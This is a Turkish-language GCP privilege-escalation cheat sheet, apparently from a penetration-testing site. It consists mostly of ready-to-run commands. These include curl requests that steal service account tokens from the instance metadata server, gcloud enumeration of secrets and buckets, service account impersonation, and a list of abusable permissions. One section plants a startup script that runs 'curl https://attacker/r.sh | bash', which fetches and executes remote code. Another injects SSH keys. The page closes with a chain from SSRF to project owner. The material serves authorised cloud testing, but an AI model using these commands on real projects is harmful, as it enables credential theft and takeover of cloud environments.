Skip to content

GCP — IAM & Metadata Abuse

GCP privesc

GCP privesc

GCP’de yetkilendirme IAM rolleri ve service account (SA) kimlikleriyle yapılır. Privesc genellikle SA impersonation, setIamPolicy, actAs ve compute üzerinden kod çalıştırma ile ilerler. AWS PassRole düşüncesinin karşılığı çoğu zaman SA’yı actAs / getAccessToken ile ele geçirmektir.

Ön koşullar

Section titled “Ön koşullar”
- gcloud auth (user ADC veya SA JSON key)
- veya GCE/GKE üzerinde RCE/SSRF → metadata
- Hedef project ID
Terminal window
gcloud auth login
Terminal window
gcloud auth activate-service-account --key-file=sa.json
Terminal window
gcloud config set project PROJECT_ID
Terminal window
gcloud auth list
Terminal window
gcloud config list

Metadata’dan token çalma

Section titled “Metadata’dan token çalma”
Terminal window
curl -s -H "Metadata-Flavor: Google" \
 "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"
Terminal window
curl -s -H "Metadata-Flavor: Google" \
 "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/email"
Terminal window
curl -s -H "Metadata-Flavor: Google" \
 "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes"
Terminal window
curl -s -H "Metadata-Flavor: Google" \
 "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/"
Terminal window
curl -s -H "Metadata-Flavor: Google" \
 "http://metadata.google.internal/computeMetadata/v1/project/project-id"
Terminal window
curl -s -H "Metadata-Flavor: Google" \
 "http://metadata.google.internal/computeMetadata/v1/instance/attributes/"
Terminal window
curl -s -H "Metadata-Flavor: Google" \
 "http://metadata.google.internal/computeMetadata/v1/instance/attributes/startup-script"

SSRF’de Metadata-Flavor: Google başlığı zorunludur; header enjekte edilemeyen SSRF çoğu zaman başarısız olur. Alternatif IP: 169.254.169.254.

Token’ı kullan:

Terminal window
export CLOUDSDK_AUTH_ACCESS_TOKEN='ya29...'
Terminal window
gcloud auth print-access-token
Terminal window
curl -s -H "Authorization: Bearer $(curl -s -H 'Metadata-Flavor: Google' \
  'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token' | jq -r .access_token)" \
  "https://cloudresourcemanager.googleapis.com/v1/projects"

Keşif

Section titled “Keşif”
Terminal window
gcloud projects list
Terminal window
gcloud iam service-accounts list
Terminal window
gcloud projects get-iam-policy PROJECT_ID
Terminal window
gcloud organizations get-iam-policy ORG_ID 2>/dev/null
Terminal window
gcloud compute instances list
Terminal window
gcloud compute disks list
Terminal window
gcloud secrets list
Terminal window
gcloud secrets versions access latest --secret=SECRET
Terminal window
gcloud storage buckets list
Terminal window
gcloud storage ls gs://bucket
Terminal window
gcloud functions list
Terminal window
gcloud run services list
Terminal window
gcloud container clusters list
Terminal window
gcloud sql instances list

Public bucket:

Terminal window
gsutil ls gs://bucket          # anonim dene
Terminal window
GCPBucketBrute -u user -k wordlist.txt

Tehlikeli izinler / privesc yolları

Section titled “Tehlikeli izinler / privesc yolları”
iam.serviceAccounts.getAccessToken / actAs     → SA impersonation
iam.serviceAccounts.implicitDelegation
iam.serviceAccounts.signJwt / signBlob         → token/imza forge
*.setIamPolicy (resourcemanager.projects)      → kendine Owner/Editor
deploymentmanager.deployments.create           → SA ile kaynak
cloudfunctions.functions.create + setIamPolicy
compute.instances.setMetadata / setIamPolicy   → startup-script / SSH key
compute.instances.create + SA attach
storage.objectAdmin on sensitive buckets
secretmanager.versions.access
composer / dataflow / notebooks                → SA ile iş çalıştır
Terminal window
gcloud config set auth/impersonate_service_account \
  privileged-sa@PROJECT.iam.gserviceaccount.com
Terminal window
gcloud projects get-iam-policy PROJECT
Terminal window
gcloud storage ls --impersonate-service-account=sa@PROJECT.iam.gserviceaccount.com
Terminal window
gcloud auth print-access-token --impersonate-service-account=sa@...

Compute üzerinden RCE

Section titled “Compute üzerinden RCE”
Terminal window
gcloud compute instances add-metadata TARGET --metadata=startup-script='#!/bin/bash
Terminal window
curl https://attacker/r.sh | bash'
Terminal window
gcloud compute instances reset TARGET
Terminal window
gcloud compute instances add-metadata TARGET \
  --metadata=ssh-keys="user:ssh-rsa AAAA... user"

Komut üreteci

Section titled “Komut üreteci”

GCP · metadata token

embedded tool
Generated command
curl -s -H Metadata-Flavor:Google http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

GCP · metadata token

Section titled “GCP · metadata token”

Metodoloji

Section titled “Metodoloji”

  1. İzin haritası çıkar — gcloud projects get-iam-policy ; hangi kullanıcı/SA hangi role sahip. Custom role permission listelerini oku.

  2. Impersonation dene — getAccessToken / actAs iznin varsa daha yetkili SA’ya geç; yeni token ile IAM’i tekrar çek.

  3. setIamPolicy / compute — proje IAM’ini kendine Editor/Owner yapabiliyorsan yap; değilse setMetadata , Cloud Function, Cloud Run veya GKE üzerinden kod çalıştır.

  4. Secret & storage hasadı — Secret Manager, GCS tfstate, Artifact Registry.

Saldırı zinciri

Section titled “Saldırı zinciri”
SSRF + Metadata-Flavor
  → default SA token (cloud-platform scope)
  → actAs on privileged SA
  → setIamPolicy → roles/owner
  → secrets + org lateral